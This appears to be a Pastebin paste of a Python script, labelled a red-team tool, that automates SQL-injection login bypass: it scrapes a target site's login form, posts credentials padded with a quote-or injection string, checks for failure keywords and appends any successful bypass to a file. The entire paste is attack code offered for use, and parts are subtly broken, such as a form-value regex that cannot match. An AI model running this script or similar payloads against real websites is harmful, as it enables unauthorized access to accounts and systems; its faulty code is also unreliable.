xosski

Red team login authentication bypass

Jan 1st, 2025
222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.33 KB | None | 0 0
  1. import requests
  2. import re
  3.  
  4. def clean_url(target):
  5. """Ensure the URL is properly formatted and return the clean URL."""
  6. site = target.replace("http://", "").replace("https://", "")
  7. return site
  8.  
  9. def get_post_url(ng, site):
  10. """Extract and return the post URL from the page source."""
  11. posturl_matches = re.findall(r"post\('[^']*'|POST\('[^']*'|action=\"[^\"]*\"", ng)
  12. posturl = ""
  13.  
  14. if posturl_matches:
  15. posturl = sorted(set([re.sub(r"action=\"|post\('|'\"", '', u) for u in posturl_matches]))[0]
  16. else:
  17. print(f"[INFO] No post URL found for {site}")
  18.  
  19. return posturl
  20.  
  21. def get_base_url(site, ng):
  22. """Extract the base URL for making the POST request."""
  23. if re.search(r"\.", site.split("/")[-1]):
  24. tmp = site.split("/")[-1]
  25. return site.replace(tmp, "")
  26. else:
  27. return "/".join(site.split("/")[:2])
  28.  
  29. def extract_form_data(ng):
  30. """Extract form data like input fields and their values."""
  31. value_matches = re.findall(r'(<input).*?(>)', ng)
  32. values = []
  33.  
  34. for match in value_matches:
  35. name_value = re.findall(r'name="([^"]*)" value="([^"]*)"', match[1])
  36. if name_value:
  37. values.extend(name_value)
  38.  
  39. return "&".join([f"{name}={val}" for name, val in values])
  40.  
  41. def prepare_post_data(xploit, param1, param2, value):
  42. """Prepare the post data based on the exploit and parameters."""
  43. if "@gmail" in xploit:
  44. return f"{param1}={xploit}&{param2}=''or{value}"
  45. else:
  46. return f"{param1}={xploit}&{param2}={xploit}{value}"
  47.  
  48. def attempt_login(post, postdata):
  49. """Perform the POST request and return the response."""
  50. try:
  51. response = requests.post(post, data=postdata)
  52. return response.text
  53. except requests.exceptions.RequestException as e:
  54. print(f"Error during POST request: {e}")
  55. return ""
  56.  
  57. def bypass(target, exploits):
  58. session = requests.Session() # Use a session for persistent connection
  59. sukses = ""
  60. value = ""
  61. postnya = ""
  62. post = ""
  63. posturl = ""
  64.  
  65. print(f"\n[*] Starting {target}")
  66.  
  67. for xploit in exploits:
  68. print(f"Trying login with: {xploit}")
  69.  
  70. site = clean_url(target)
  71.  
  72. try:
  73. ng = session.get(f"http://{site}").text
  74. except requests.exceptions.RequestException as e:
  75. print(f"Error connecting to {target}: {e}")
  76. continue
  77.  
  78. # Get the post URL from the page content
  79. posturl = get_post_url(ng, site)
  80.  
  81. postnya = get_base_url(site, ng)
  82.  
  83. # Extract the final post URL
  84. post = f"{postnya}{posturl}" if "action=\"http" not in ng else re.search(r'action="([^"]*)"', ng).group(1)
  85.  
  86. # Extract form values
  87. value = extract_form_data(ng)
  88.  
  89. # Extract form parameters
  90. param = ",".join(sorted(set(re.findall(r'name="([^"]*)"', ng)[:2])))
  91. param1, param2 = param.split(",") if len(param.split(",")) > 1 else (param, '')
  92.  
  93. # Prepare post data
  94. postdata = prepare_post_data(xploit, param1, param2, value)
  95.  
  96. # Attempt login
  97. cek = attempt_login(post, postdata)
  98.  
  99. # Check for login failure
  100. if re.search(r"(User|user|password|Password|Username|username|email|Email|salah|Salah|Gagal|coba|gagal|wrong|Wrong|Invalid|IncorectError|405|error)", cek):
  101. print(f"Login failed with: {xploit}")
  102. print(f"Post data: {post} -d {postdata}\n")
  103. else:
  104. if xploit == "test" or not xploit:
  105. print("Failed to obtain a valid login\n")
  106. break
  107. sukses = f"\n+++++++++++++++++++++!!![ login success ]!!!+++++++++++++++++++++\nSite: {target} \nLogin: {xploit}"
  108. print(f"{sukses}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")
  109. with open("vuln.txt", "a") as f:
  110. f.write(f"{sukses}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
  111. print(f"\a[INFO] Login success\nSite: {target}\nLogin: {xploit}\nSaved: vuln-bypass.txt\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
  112.  
  113.  
  114. # Example usage:
  115. if __name__ == "__main__":
  116. target = "http://example.com"
  117. exploits = ["[email protected]", "[email protected]", "test"]
  118. bypass(target, exploits)
Advertisement
Add Comment
Please, Sign In to add comment